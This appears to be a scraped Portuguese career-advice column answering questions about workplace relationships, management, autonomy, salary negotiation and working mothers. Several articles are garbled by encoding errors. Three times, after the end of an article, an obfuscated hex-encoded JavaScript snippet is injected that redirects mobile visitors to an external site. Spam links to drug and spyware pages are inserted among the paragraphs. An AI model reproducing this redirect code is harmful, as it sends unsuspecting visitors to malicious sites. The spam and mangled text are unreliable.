Sou gestor em uma empresa familiar e tenho na equipe um profissional que é da família, mas que tem dificuldade de respeitar as regras da organização. Falta sem comunicar, perde prazos e descumpre acordos frequentemente. O que devo fazer?
Não é uma situação tão simples de resolver já que estamos falando de um profissional que tem um vínculo familiar com os donos da empresa – pode ser um filho, sobrinho, irmão etc. Mas independente de quem seja, o gestor não pode colocar em risco a gestão da sua equipe e o atingimento dos resultados, portanto, mesmo sendo difícil, o tratamento da situação é imperativo.
Por mais que seja uma tarefa ingrata para o gestor tratar de situações de falta de compromisso de um profissional da família, não fazê-lo pode causar um prejuízo ainda maior no grupo, instalando-se uma situação de proteção e privilégio. Claro, existe o medo de que a tratativa leve a algum tipo de retaliação, mas é importante lembrar que faz parte das responsabilidades do líder manter o bom padrão de desempenho de sua equipe e esta é uma tarefa indelegável.
Nesses casos, a primeira recomendação é conversar com o profissional, pontuar as dificuldades apresentando evidencias, reforçar os padrões estabelecidos pela empresa e lembrar que qualquer acordo deve servir para todos, a menos que exceções sejam combinadas previamente. É importante tentar fazer com que ele compreenda que, justo por ser da família, a expectativa em relação ao seu desempenho é ainda maior e ele deve, inclusive, servir como exemplo para os demais.
Quando a conversa não é suficiente para modificar o comportamento e se as dificuldades, portanto, persistirem, a recomendação é levar ao conhecimento da direção, mesmo que isso signifique tratar com o próprio parente do profissional. Nestes casos, pode facilitar bastante contar com uma avaliação ampliada, ou seja, incluindo percepções de outros gestores e desconcentrando de uma visão única. Fazendo dessa forma, se diminui o risco de uma contra-argumentação que remeta a uma implicância pessoal ou algo do tipo. Empresas que já possuem um sistema de avaliação de desempenho formal saem na frente nestas tratativas.
Enfim, por mais que pareça uma saia justa, o gestor não deve exitar em levar adiante e tentar resolver a situação. A experiência tem mostrado que é possível se sair bem sucedido, contanto que se mantenha o enquadramento o mais profissional possível.
Trabalho com uma pessoa que tem um estilo muito diferente do meu e, muitas vezes, me impaciento e isso acaba influenciando a qualidade do meu trabalho. Como lidar com essa situação sem tantos desgastes?
Estamos sempre buscando um ideal de uniformidade que não existe. Apesar de desejarmos nos relacionar com “iguais”, na prática, o que existe na realidade das organizações é a necessidade de convivermos com pessoas de características, estilos e culturas muito diferentes das nossas.
Mas antes de dar ênfase às dificuldades que em geral qualquer convivência provoca, porque de fato não é tarefa fácil lidar com as diferenças, reflita também sobre alguns possíveis ganhos:
1. Diferentes personalidades e competências dentro de uma equipe podem se complementar para que o objetivo seja alcançado. Trata-se de aproveitar ao máximo as capacidades individuais e minimizar as fragilidades do grupo;
2. O pensamento uniforme prejudica a prática da melhoria contínua, afinal, se todos pensam da mesma forma, as chances de crítica ficam reduzidas;
3. Por fim, compreenda que se é difícil para você, também é igualmente difícil para o colega que terá também que aprender a conviver com a diferença.
Para quem é gestor, a recomendação é ficar atento às características de cada profissional da equipe, dividindo bem as atividades e considerando qual pode ser a melhor contribuição de cada pessoa envolvida. Reconhecer as capacidades e respeitar as diferenças, pensando sempre no que é melhor para a empresa e não individualmente, é uma excelente estratégia para transformar a diversidade em algo produtivo.
NA?o hA? ambiente de trabalho que nA?o tenha aquele profissional que estA? o tempo todo colocando dificuldade nas coisas e reclamando da ai???vidaai???. Como lidar com esse negativismo e evitar que ele contagie o ambiente?
Pessoas negativas sA?o aquelas que gostam de fazer crAi??ticas sobre tudo e todos, enfatizam os defeitos e estA?o sempre com o astral lA? em baixo. Ai?? claro que se manter feliz o tempo todo Ai?? tarefa quase impossAi??vel em se tratando de ai???vida realai???, entretanto, quando temos colegas de trabalho que sA? conseguem ver o lado negro das coisas, a convivA?ncia se torna difAi??cil e as pessoas acabam tendo que escolher entre dois caminhos: ou se afastam para suportar melhor o dia a dia ou embarcam no mesmo clima. Para a organizaAi??A?o, nenhuma opAi??A?o acima Ai?? saudA?vel.
Ai?? por isso que no A?mbito do trabalho, o negativismo Ai?? um fator que pesa contra a qualidade do clima e afeta a produtividade. A opAi??A?o de se afastar nA?o Ai?? a ideal jA? que ter uma pessoa isolada dos demais prejudica o sentimento de equipe e a harmonia do grupo. Ao mesmo tempo, parece pior escolher o caminho de se deixar influenciar. Ai??s vezes, apenas uma pessoa pode ser suficiente para abalar o ambiente e levar um grupo inteiro a repetir o mesmo discurso de dificuldade. Ai?? importante ficar atento a estes movimentos para evitar cair em armadilhas; nA?o se deixar contagiar por ideias negativas ou tentar ajudar o colega a quebrar a rotina de queixas pode ser uma boa alternativa.
Bom, atAi?? agora abordamos o colega como o vilA?o do negativismo. Mas e quando os ai???reclamAi??esai??? somos nA?s mesmos? SA?o comuns, na trajetA?ria profissional, os momentos de mais insatisfaAi??A?o e pessimismo. Ai?? justamente nestas horas que Ai?? necessA?rio redobrar a atenAi??A?o e fazer uma avaliaAi??A?o cuidadosa dos prA?prios comentA?rios e comportamentos.
Mas atenAi??A?o: evitar o negativismo nA?o significa vestir a roupa do otimismo permanente. Afinal, sA? ver o ai???lado bomai??? das coisas pode acabar mascarando o potencial de dificuldades de cada situaAi??A?o e trazer prejuAi??zos. Por isso, a dica Ai?? simples: encarar as dificuldades mais como oportunidades de superaAi??A?o e de dar a volta por cima do que como fatalidades em que nA?o hA? nada o que fazer, apenas lamentar.
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O mundo corporativo costuma exigir dos profissionais muito controle emocional. Pressão por prazos, excesso de cobranças, responsabilidades acumuladas, falta de tempo – essas e outras situações, muitas vezes, são suficientes para nos fazer perder o equilíbrio e “extrapolar”. E o que fazer quando isso acontece?
Vamos combinar que essa é uma situação bastante comum e que pode acontecer com qualquer profissional. Mesmo aqueles mais experientes, em algum momento, podem “escorregar” nas armadilhas do grupo e “perder a cabeça”. Mas não há motivo para desespero. É possível sim remediar uma situação de descontrole e retomar o equilíbrio. Veja abaixo algumas dicas de ouro:
1. Reconheça que errou. Este é o primeiro passo para quem ultrapassou o limite e exagerou no tom. Não adianta fingir que nada aconteceu. Esse comportamento não ajudará a resolver;
2. Pedir desculpas. Muitas vezes as situações ganham uma proporção muito maior apenas porque não se fez um movimento de retratação, portanto, não deixe de fazer;
3. Tente não justificar, com certeza o outro também poderia elencar uma série de motivos para sair da linha;
4. Após uma primeira cena de destempero, fique mais atento para não torná-la reincidente. Caso contrário, todas as dicas acima podem não funcionar por falta de credibilidade.
Enfim, paciência e autocontrole são os pontos chave para conseguir manter o equilíbrio e evitar problemas. Saber o que lhe tira do sério também é uma recomendação importante. É comum, principalmente quando se ocupa uma função de liderança, que o grupo provoque situações incômodas, às vezes para testar o chefe, outras sem um propósito definido. De uma forma ou de outra, é válida a premissa de que todo grupo têm o desejo inconsciente de enlouquecer seu coordenador, portanto, fique ligado e não caia nas armadilhas!
Ao serem convidados para exercer funções gerenciais, muitos profissionais aceitam motivados pelo incremento salarial, porém com pouca clareza sobre o que realmente significa ser gestor e sem analisar as exigências e os desafios da nova função. Quando isso acontece, não é raro ver os novos gestores se queixarem das atividades e explicitarem que lidar com pessoas é um problema.
A questão está no fato da escolha ser definida em função de competências técnicas. Os novos gestores se deparam com essa oportunidade por conta de suas habilidades técnicas no manejo das atividades do dia a dia. Apesar de valorizadas na rotina da empresa, esse domínio da técnica, por si só, não é suficiente para o desenvolvimento do cargo de gestor. Na liderança, o profissional precisa ter habilidades para conduzir a equipe, administrar conflitos e resistências, coordenar os processos de trabalho do grupo – não somente o dele, e produzir resultados.
É nessa hora que parte das pessoas que assumem a gestão sentem-se pouco preparadas, ou seja, quando compreendem que os resultados só acontecerão com as pessoas mobilizadas e as atividades sendo conduzidas para um objetivo comum.
Por este motivo, antes de assumir uma função gerencial, é recomendável cautela e reflexão. Entender os desafios que estão em questão e compreender o seu papel diante destes desafios. É uma decisão difícil, pois em geral, é um caminho sem volta, pelo menos considerando a mesma empresa. Ao mesmo tempo, quando o profissional não se sentir preparado, mas acreditar que tem potencial para o cargo, a orientação é para que não desista, afinal, é possível investir no desenvolvimento das competências necessárias à função.
É exigente e trabalhoso, mas desenvolver equipes de trabalho é uma das mais eficientes estratégias de gestão de pessoas, afinal, entregar os resultados pactuados está diretamente relacionado com a qualidade da equipe que se tem. Em contrapartida, quando o grupo é frágil o gestor não deve usar as dificuldades como pretexto.
É muito comum ainda encontrarmos gestores com uma postura queixosa em relação à sua equipe e que justificam os erros ou as dificuldades dando ênfase à fragilidade do seu time. Esse comportamento, presente principalmente em gestores menos experientes ou no inicio de suas carreiras, reforça uma hipótese antiga que a vivencia dentro das empresas tem mostrado: pessoas assumem o cargo de liderança sem ter compreensão de um dos seus principais papéis – desenvolver sua equipe de trabalho.
Ora, se minha equipe não responde na entrega dos resultados eu também não conseguirei ter êxito, certo? Sim, na maior parte das vezes. E não adianta caçar culpados, pois essa é uma responsabilidade indelegável do gestor: fazer com que sua equipe faça o que tem que ser feito; e se ela não estiver preparada, tomar as medidas certas para que esteja pronta no exercício das suas atividades.
Existem várias formas de desenvolver as equipes, mas dois pontos são estruturadores. Primeiro, saber o que se quer dessa equipe e segundo, como quer que seja feito. Isso passa pela resposta às perguntas: para que estamos juntos? Qual nosso projeto coletivo? Cada um precisa compreender o seu papel e buscar as competências necessárias para desenvolvê-lo da melhor maneira. Com um projeto definido é possível elencar as qualidades que se quer para a equipe, afinal, a depender dos objetivos, da cultura organizacional ou do estilo do gestor, essas características podem mudar de uma realidade para outra e, portanto, defini-las e trabalhá-las com o grupo é essencial. Porém, características como integração, sintonia fina, cooperação etc, costumam estar presentes em qualquer realidade.
Enfim, desenvolver equipes é um dos papéis mais exigentes do gestor. Cabe a ele promover atividades que vão além das responsabilidades formais e que permitam que os profissionais evoluam enquanto grupo.
Quando falamos da nossa vida profissional, a gente sonha, planeja, cria expectativas. Mas infelizmente nem todos os nossos sonhos emplacam ou nem todos os investimentos que fazemos trazem os resultados esperados. Mas serA? que A� possA�vel tirar algum proveito quando as coisas nA?o dA?o certo?
Com toda certeza, sim. PorA�m, A� preciso ter um pouco de maturidade para analisar criticamente as situaA�A�es e fazer um bom uso dos ensinamentos que existem em torno dos ditos a�?fracassosa�?. Uma recomendaA�A?o importante A� encarar de frente e nA?o ter medo de reconhecer a prA?prias dificuldades. Outro ponto A� ficar atento a um comportamento comum com o qual precisamos ter muito cuidado: a tendA?ncia de caA�ar culpados. Quando algo em que investimos nA?o dA? certo, a culpa A� sempre da economia, da estrutura ou daqueles que nA?o acreditaram no projeto.
De fato, as variA?veis externas podem interferir sim, mas o profissional, como protagonista da histA?ria, nA?o pode ser totalmente isento. Nessas horas, A� mais produtivo diminuir as prA?prias defesas e fazer uma reflexA?o o mais realista possA�vel sobre os fatos para nA?o repetir os erros cometidos numa prA?xima tentativa.
Uma A?ltima recomendaA�A?o muito importante: lembre-se que todo mundo erra. Assumir os erros nA?o significa enxergar-se como um fracassado. AliA?s, essa postura diante dos desafios nA?o ajudarA? em nada e, pelo contrA?rio, pode te paralisar diante dos obstA?culos do dia a dia. Portanto, nA?o desanime. Tenha certeza de que muitos profissionais bem sucedidos hoje, jA? falharam algumas vezes na sua trajetA?ria profissional. A grande diferenA�a A� que eles nunca desistiram.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
O que significa ter autonomia?
http://www.sexdatingmanual.com/email-spy-spyware-iphone/
http://powerlap.com.mx/buy-celebrex-online/ N http://smtexsourcing.com/bactrim-price-in-the-philippines/ o dicionA?rio, autonomia Ai?? descrita como a capacidade de governar a si prA?prio. Aplicando o conceito Ai?? gestA?o, significa falar em nome prA?prio e responder por suas aAi??Ai??es, assumindo os bA?nus e A?nus dessa responsabilidade.
Ai?? comum ouvirmos profissionais se queixando da falta de autonomia no desenvolvimento do seu trabalho, mas Ai?? importante ressaltar que a prA?tica da autonomia Ai??, sem dA?vidas, um exercAi??cio diA?rio. O profissional precisa dar evidA?ncias da sua capacidade de resolver as questAi??es do dia a dia e, aos poucos, conquistar a confianAi??a do seu superior, avanAi??ando no caminho da autonomia.
Para que isso aconteAi??a Ai?? importante comeAi??ar a praticar alguns comportamentos que facilitarA?o o reconhecimento da sua competA?ncia. NA?o adianta ficar sentado esperando que a autonomia lhe seja dada. Como jA? falamos, ela precisa ser conquistada. Aqui estA?o algumas dicas: (1) discuta as situaAi??Ai??es de dificuldade com seu gestor, levando para ele alternativas de soluAi??A?o; (2) sempre que necessA?rio, avance na tomada de decisA?o, mas lembre-se de comunicar ao superior o mais breve possAi??vel, explicitando os motivos que o levou a decidir dessa forma; e (3) assuma a responsabilidade pela decisA?o tomada e nA?o tente procurar culpados quando algo nA?o sair como o previsto.
No entanto, muita gente ainda confunde o conceito de autonomia, acreditando que o ideal seria poder tomar decisAi??es sem consultar ninguAi??m, alAi??m do desejo de nA?o precisar dar satisfaAi??Ai??es sobre seus atos. Esse equAi??voco, bastante comum, talvez aconteAi??a devido Ai?? compreensA?o distorcida do conceito e a confusA?o com o ideal de independA?ncia. Sim, porque agir sem dar satisfaAi??A?o caracteriza independA?ncia, porAi??m, nas organizaAi??Ai??es, esse comportamento pode ser muito danoso aos resultados e deve ser evitado.
Conseguir, portanto, agir com autonomia, significa compreender que compartilhar decisAi??es nA?o significa depender do outro, assim como decidir sozinho quando a situaAi??A?o exigir nA?o significa ser independente. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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http://cantavil-premier.com/en/2018/02/11/when-does-celebrex-go-generic/ http://powerlap.com.mx/homework/ http://smtexsourcing.com/generic-paxil-at-walmart/ 
Em tempos de crise, cortes nas equipes podem ser inevitA?veis e profissionais que ocupam posiAi??Ai??es estratAi??gicas nas empresas passam a assumir novas funAi??Ai??es para cobrir as atividades do dia a dia. Entretanto, mesmo acumulando outras responsabilidades, o profissional precisa ponderar se Ai?? oportuno ou nA?o negociar um aumento de salA?rio neste momento.
Negociar salA?rio, de forma geral, Ai?? uma tarefa difAi??cil em qualquer momento. E, em perAi??odos de crise, quando as empresas precisam reorganizar seus gastos, pedir um aumento pode soar como uma falta de sensibilidade por parte do profissional. Ele correrA? o risco, inclusive, de ser visto como alguAi??m que estA? desconectado da realidade do negA?cio e atAi?? do paAi??s, ou pior, como um profissional com quem nA?o se pode contar em momentos difAi??ceis.
Por isso, Ai?? preciso ponderar bem antes de tentar negociar um aumento. O primeiro passo antes de bater na porta do gestor Ai?? verificar se o salA?rio atual estA? realmente defasado com relaAi??A?o ao mercado de trabalho jA? que, em tempos de crise, as remuneraAi??Ai??es tendem a diminuir de um modo geral. AlAi??m disso, o profissional precisa avaliar seus prA?prios resultados e se eles justificam um aumento.
Ai?? importante tambAi??m considerar os outros investimentos que a empresa estA? fazendo nas equipes, como cursos e capacitaAi??Ai??es que ela financia, por exemplo, e se sA? o fato de ter sido escolhido para permanecer no grupo, diante de um cenA?rio de cortes, jA? nA?o significa um reconhecimento de suas competA?ncias.
O mais importante, no entanto, Ai?? deixar que o bom senso prevaleAi??a na hora das ponderaAi??Ai??es e manter os pAi??s no chA?o. Caso conclua que realmente o momento nA?o Ai?? o ideal para pleitear um aumento, veja a situaAi??A?o como uma oportunidade para arregaAi??ar as mangas e mostrar o que Ai?? capaz de fazer pela empresa. Essa postura certamente serA? notada e poderA? contribuir para uma promoAi??A?o em um novo e melhor cenA?rio.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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As oportunidades de trabalho para as mulheres têm crescido muito nos últimos anos. Parte disso deve-se aos avanços nas leis trabalhistas e à luta das mulheres na busca por espaço no mercado. Porém, para as mulheres que têm filhos, ainda há muitos desafios, principalmente para as jovens mães que estão iniciando a vida profissional e precisam, além de trabalhar, se especializar na área em que atuam.
Mesmo havendo estruturas na legislação brasileira que buscam diminuir as dificuldades de conciliar a maternidade com o trabalho – como a licença maternidade e o período de estabilidade depois do parto – há ainda algumas barreiras que podem prejudicar as mães mais jovens, como a falta de apoio da família e a pouca oferta de creches. Não ter com quem deixar a criança, por exemplo, pode dificultar e muito o equilíbrio entre as responsabilidades da carreira e a intensa rotina da maternidade.
A falta de apoio, seja familiar ou de algum profissional especializado, também gera dificuldade quando o assunto é a retomada ou o início de um curso de especialização. A longa rotina de provas combinada às tarefas da maternidade, geralmente sobrecarrega as mães e ameaça a continuidade do curso. Neste aspecto, atenção: se a opção é seguir em frente para alcançar seus objetivos, saiba que é possível contar com a ajuda da instituição de ensino. A mãe pode solicitar horários mais flexíveis de provas ou realizar alguns trabalhos de casa, por exemplo.
No caso do mercado de trabalho, é necessário que seja feita uma avaliação ampla sobre a dedicação de tempo que a vaga exige, confrontando com o tempo necessário para atender as necessidades do seu filho; avaliar também se será financeiramente possível trabalhar e manter babá ou creche integral, por exemplo, especialmente quando não se tem outro tipo de apoio; analisar se o perfil da empresa e do emprego permite tratar de forma mais flexível os horários e os compromissos, com espaço aberto de negociação.
Enfim, a maternidade pode sim ser conciliada com o trabalho e com o desenvolvimento da carreira. Dá trabalho, mas é possível. O que pode fazer a diferença é se a jovem mãe tiver tranquilidade para conseguir organizar seu tempo e suas demandas, de preferência com o suporte da família e financeiro. Com este equilíbrio, seu desempenho, tanto no trabalho como na educação do filho, será muito mais proveitoso.
